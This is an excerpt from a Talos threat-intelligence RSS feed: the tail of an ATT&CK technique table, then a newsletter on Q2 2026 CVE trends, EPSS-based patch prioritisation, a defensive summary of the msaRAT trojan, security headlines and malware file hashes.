!important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="37" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1288536775" paraeid="{d36bfb7b-4a9e-44d0-bee3-84ad70806c8c}{38}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1663160160" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{218}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1048 Exfiltration Over Alternative Protocol</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="589140067" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{225}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may exfiltrate data over a different protocol than the </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">command and control</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> channel.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="38" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol LastRow SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="798902228" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{237}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Impact (TA0040)&#x202F;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastRow SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1714834920" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{244}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1486 Data Encrypted for Impact</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1280809080" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{251}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may use ransomware to encrypt data on a target system</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">.&#xA0;&#xA0;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
]]></content:encoded></item><item><title><![CDATA[Don’t swing at everything]]></title><description><![CDATA[Thorsten explores Q2 2026 stats, the artificial buffer zone of 2026, and why smart, prioritized patching is more critical than ever.]]></description><link>https://blog.talosintelligence.com/dont-swing-at-everything/</link><guid isPermaLink="false">6a60ff8a824f5b00012e5201</guid><category><![CDATA[Threat Source newsletter]]></category><dc:creator><![CDATA[Thorsten Rosendahl]]></dc:creator><pubDate>Thu, 23 Jul 2026 18:00:46 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/threat_source-2.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/threat_source-2.jpg" alt="Don&#x2019;t swing at everything"><p>Welcome to this week&#x2019;s edition of the Threat Source newsletter.&#xA0;</p><p>Lately I&apos;ve found myself thinking a lot about the Australian TV series Mr. Inbetween (IMDb 8.7/10) &#x2014; not because I&apos;m a hitman for hire, but because I literally feel in-between. Specifically, in-between what I&apos;d call the &quot;pre-Mythos&quot; and &#x201C;post-Mythos&#x201D; eras. We&apos;ve crossed a capability threshold, and it&apos;s not just one model family driving that &#x2014; Codex 5.3 and GPT-5.5 deliver <a href="https://www.aisi.gov.uk/blog/our-evaluation-of-openais-gpt-5-5-cyber-capabilities" rel="noreferrer noopener"><u>comparable or better performance</u></a>, and <a href="https://www.reuters.com/legal/litigation/chinas-360-says-it-has-developed-tools-match-anthropics-mythos-2026-06-24/" rel="noreferrer noopener"><u>Tulongfeng</u></a> or <a href="https://huggingface.co/zai-org/GLM-5.2" rel="noreferrer noopener"><u>GLM-5.2</u></a> (an incredibly powerful open-weight model, MIT-licensed) show the frontier isn&apos;t limited to closed models anymore.&#xA0;</p><p>On the other side of that line, real-world impact hasn&apos;t caught up yet and we&apos;re living in an artificial buffer zone. For me, defining the &#x201C;pre-&#x201D; and &#x201C;post-&#x201D; status comes down to the gap between &quot;vulnerability discovery&quot; and &quot;vulnerability publication.&quot;&#xA0;</p><p>Last week&#x2019;s Patch Tuesday gave a signal of change, as Joe <a href="https://blog.talosintelligence.com/begun-the-patch-wars-have/" rel="noreferrer noopener"><u>pointed out</u></a>, so maybe the buffer zone has come to an end.&#xA0;</p><p>Let&apos;s dive into the 2026 Q2 stats.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/blog_CVEline.png" class="kg-image" alt="Don&#x2019;t swing at everything" loading="lazy" width="2000" height="1178" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/blog_CVEline.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/blog_CVEline.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/blog_CVEline.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/blog_CVEline.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>As in past years, we&apos;re seeing a steeper curve than the year before &#x2014; a solid 49% YoY growth, though still not the hockey-stick moment I keep waiting for. By the end of June we were tracking close to 200 CVEs per day.&#xA0;</p><p>Using the keyword methodology described <a href="https://blog.talosintelligence.com/patch-track-repeat-the-2025-cve-retrospective/" rel="noreferrer noopener"><u>here</u></a>, I found 452 AI-related CVEs this calendar year. If &quot;openclaw&quot; is added to the keyword list, that number jumps by another 536 &#x2014; a reminder that these counts are sensitive to keyword drift. Given how much the keyword list keeps changing, I&apos;m reconsidering whether to keep publishing this particular metric going forward.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/blog_KEVline.png" class="kg-image" alt="Don&#x2019;t swing at everything" loading="lazy" width="2000" height="1178" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/blog_KEVline.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/blog_KEVline.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/blog_KEVline.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/blog_KEVline.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>KEVs, by contrast, &quot;only&quot; grew 13% &#x2014; a small April spike aside, it&apos;s fairly flat relative to total CVE growth. Networking-gear-related CVEs continued their climb, now accounting for 24% of KEV-related vulnerabilities (up from 20% in Q1) &#x2014; consistent with the trend I flagged last quarters.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/blog_pie.png" class="kg-image" alt="Don&#x2019;t swing at everything" loading="lazy" width="2000" height="792" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/blog_pie.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/blog_pie.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/blog_pie.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/blog_pie.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>As in previous quarters, CVEs from 2024 or earlier still make up about 24% of everything we&apos;re tracking. More strikingly, even though the standard enterprise patch cycle is described&#xA0; to run 30&#x2013;90 days, 181 days into 2026, 46% of today&apos;s actively-exploited (KEV) CVEs still trace back to 2025 or earlier.&#xA0;</p><p>Old vulnerabilities don&apos;t retire, new ones keep arriving, and machine-speed vulnerability discovery is going to keep outpacing human-speed patching. Which brings me back &#x2014; once again &#x2014; to <a href="https://www.first.org/epss/" rel="noreferrer noopener"><u>EPSS</u></a> as a tool for prioritizing patching against this dataset.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/EPSS_table.jpg" class="kg-image" alt="Don&#x2019;t swing at everything" loading="lazy" width="2000" height="791" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/EPSS_table.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/EPSS_table.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/EPSS_table.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/EPSS_table.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p>If you patched purely by CVSS 9+, you&apos;d be urgently chasing ~3,700 CVEs &#x2014; but 95% of those sit below 5% EPSS, meaning the real-world odds of exploitation are tiny.&#xA0;</p><p>Of the 32 CVSS 9+ CVEs with EPSS &#x2265; 50%, 25 are already on CISA&apos;s KEV list. The remaining seven outliers are still high-probability by EPSS but haven&apos;t made KEV yet &#x2014; worth watching.&#xA0;</p><p>Ray Shoesmith (Mr. Inbetween) once told his therapist, &quot;You know, if I hit somebody, I generally got a pretty good reason.&quot;&#xA0;</p><p>Same principle applies to patching. Don&apos;t swing at everything &#x2014; swing at what you have good reason to believe is coming for you.&#xA0;</p><h2 id="the-one-big-thing">The one big thing&#xA0;</h2><p>Cisco Talos has <a href="https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel" rel="noreferrer noopener"><u>discovered &quot;msaRAT,&quot;</u></a> a new Rust-based remote access trojan (RAT) deployed by the Chaos ransomware group. Built on the Tokio asynchronous runtime, it establishes a covert command-and-control (C2) channel by hijacking Chrome or Edge browsers via the Chrome DevTools Protocol (CDP). The infection starts with a deceptive MSI file masquerading as a Windows update that loads the payload directly into memory, paving the way for ransomware deployment.&#xA0;</p><h3 id="why-do-i-care">Why do I care?&#xA0;</h3><p>This RAT is a master of evasion, living off the browser to build its C2 infrastructure without ever directly touching the network. By routing traffic through legitimate browser processes and trusted services, msaRAT easily bypasses traditional network-based detections. Additionally, its use of the Tokio runtime enables highly efficient, parallel execution of malicious tasks, accelerating the attacker&apos;s ability to establish persistence and deploy double-extortion ransomware.&#xA0;</p><h3 id="so-now-what">So now what?&#xA0;</h3><p>Defenders should monitor for unusual&#xA0;curl&#xA0;commands, especially those downloading MSI files to the&#xA0;ProgramData&#xA0;directory or sending plain HTTP traffic over port 443. Scrutinize unexpected MSI files impersonating Windows updates and watch for unauthorized Chrome or Edge manipulation. Finally, implement behavioral monitoring to catch Chrome DevTools Protocol abuse and unauthorized WebRTC connections. <a href="https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel" rel="noreferrer noopener"><u>Read the full blog</u></a> for complete coverage and indicators of compromise (IOCs).&#xA0;</p><h2 id="top-security-headlines-of-the-week">Top security headlines of the week&#xA0;</h2><p><strong>Introducing Antares: Highly efficient open weight AI models for vulnerability localization</strong>&#xA0;<br>This week, Cisco introduced Antares, a family of security small language models (SLMs) purpose-built for pinpointing where known vulnerabilities exist within a codebase. (<a href="https://blogs.cisco.com/ai/introducing-antares-the-most-efficient-open-weight-ai-models-for-vulnerability-localization" rel="noreferrer noopener"><u>Cisco</u></a>)&#xA0;</p><p><strong>Hacker wipes European country&#x2019;s entire land registry database, paralyzing real-estate market</strong>&#xA0;<br>A hacker wiped Romania&#x2019;s entire land registry database after an unsuccessful extortion attempt. The attack halted all property transactions, preventing notaries from authenticating sales or registering mortgages nationwide. (<a href="https://cybernews.com/security/hacker-deletes-romanian-land-registry-database/" rel="noreferrer noopener"><u>Cybernews</u></a>)&#xA0;</p><p><strong>&quot;WP2Shell&#x201D; opens millions of WordPress sites to remote takeover</strong>&#xA0;<br>Barely three days after disclosure, attackers are widely chaining together CVE-2026-60137 and CVE-2026-63030 to lob exploit attempts against one of the largest attack surfaces on the Internet. (<a href="https://www.darkreading.com/cyberattacks-data-breaches/wp2shell-millions-wordpress-sites-remote-takeover" rel="noreferrer noopener"><u>DarkReading</u></a>)&#xA0;</p><p><strong>Progress tells ShareFile customers to shut down Storage Zone Controllers over security threat </strong>&#xA0;<br>Only the Storage Zone Controller is affected, not standard cloud-only ShareFile accounts. The controller is a server that a company runs itself, so files can stay on its own storage while it still uses ShareFile&apos;s cloud to share and manage them.&#xA0;(<a href="https://thehackernews.com/2026/07/urgent-progress-tells-sharefile.html" rel="noreferrer noopener"><u>The Hacker News</u></a>)&#xA0;</p><p><strong>Microsoft SharePoint under attack via new exploit</strong>&#xA0;<br>Researchers warned that patching is not enough to address the deserialization flaw and that security teams &#x201C;should rotate credentials on any assets that may have been exposed.&#x201D;&#xA0;(<a href="https://www.cybersecuritydive.com/news/microsoft-sharepoint-attack-new-exploit/825797/" rel="noreferrer noopener"><u>Cybersecurity Dive</u></a>)&#xA0;</p><h2 id="can%E2%80%99t-get-enough-talos">Can&#x2019;t get enough Talos?&#xA0;</h2><p><a href="https://blog.talosintelligence.com/video-where-protection-starts-cisco-talos-intelligence-integrations/" rel="noreferrer noopener"><strong><u>[Video] Where protection starts: Cisco Talos Intelligence Integrations</u></strong></a>&#xA0;<br>Every day, defenders make high-consequence decisions with incomplete information. Learn how Cisco Talos Intelligence Integrations help reduce uncertainty by turning the latest threat intelligence into proactive protections across Cisco technologies.&#xA0;</p><p><a href="https://blog.talosintelligence.com/the-hunters-paradox-is-it-time-to-embrace-automated-threat-hunting/" rel="noreferrer noopener"><strong><u>The Hunter&apos;s Paradox: Is it time to embrace automated threat hunting?</u></strong></a>&#xA0;<br>Humans can no longer keep up with the volume and velocity of security data on their own, but AI can&apos;t be fully trusted. David discusses the merits of both and what the future might look like.&#xA0;</p><p><a href="https://blog.talosintelligence.com/the-serpents-tongue-luring-the-python-out-of-its-den/" rel="noreferrer noopener"><strong><u>The serpent&#x2019;s tongue: Luring the Python out of its den</u></strong></a>&#xA0;<br>Protect your development environment from rising Python supply-chain threats by understanding the package installation lifecycle and implementing these essential defensive strategies.&#xA0;</p><p><a href="https://www.buzzsprout.com/2033817/episodes/19531270" rel="noreferrer noopener"><strong><u>Keeping up with the cybercriminals</u></strong></a>&#xA0;<br>In this episode of&#xA0;Beers with Talos, Hazel, Bill, Dave and Joe are joined by Kendall McKay to dive into the soap opera of modern cybercrime. Turns out, every ransomware operation is one passive-aggressive group chat message away from falling apart.&#xA0;</p><h2 id="upcoming-events-where-you-can-find-talos">Upcoming events where you can find Talos&#xA0;</h2><ul><li><a href="https://blackhat.com/us-26/" rel="noreferrer noopener"><u>Black Hat USA</u></a> (Aug. 1 &#x2013; 6) Las Vegas, NV&#xA0;</li><li><a href="https://defcon.org/html/defcon-34/dc-34-index.html" rel="noreferrer noopener"><u>DEF CON 34</u></a> (Aug. 6 &#x2013; 9) Las Vegas, NV&#xA0;</li></ul><h2 id="most-prevalent-malware-files-from-talos-telemetry-over-the-past-week">Most prevalent malware files from Talos telemetry over the past week&#xA0;</h2><p><strong>SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</strong> &#xA0;<br>MD5: 2915b3f8b703eb744fc54c81f4a9c67f &#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</u></a> &#xA0;<br>Example Filename: VID001.exe &#xA0;<br>Detection Name: Win.Worm.Coinminer::1201**&#xA0;</p><p><strong>SHA256: 9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f </strong>&#xA0;<br>MD5: 38de5b216c33833af710e88f7f64fc98 &#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f</u></a> &#xA0;<br>Example Filename: SECOH-QAD.exe &#xA0;<br>Detection Name: Win.Tool.Procpatcher::1201&#xA0;</p><p><strong>SHA256: e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba</strong> &#xA0;<br>MD5: dbd8dbecaa80795c135137d69921fdba &#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba</u></a> &#xA0;<br>Example Filename: u165714.dat &#xA0;<br>Detection Name: W32.Variant:MalwareXgenMisc.29d4.1201&#xA0;</p><p><strong>SHA256: 633bd79d1efd3730234d907a2a0d98e3e253a5f0e222e4e4bf3badb3fd6aea0a</strong> &#xA0;<br>MD5: 770dbe473180366d7b539ff2c188e551 &#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=633bd79d1efd3730234d907a2a0d98e3e253a5f0e222e4e4bf3badb3fd6aea0a" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=633bd79d1efd3730234d907a2a0d98e3e253a5f0e222e4e4bf3badb3fd6aea0a</u></a> &#xA0;<br>Example Filename: server_tcp.exe &#xA0;<br>Detection Name: W32.Trojan.27oc.1201&#xA0;</p><p><strong>SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59</strong>&#xA0;<br>MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a&#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59</u></a> &#xA0;<br>Example Filename: tmp00055df5.dll 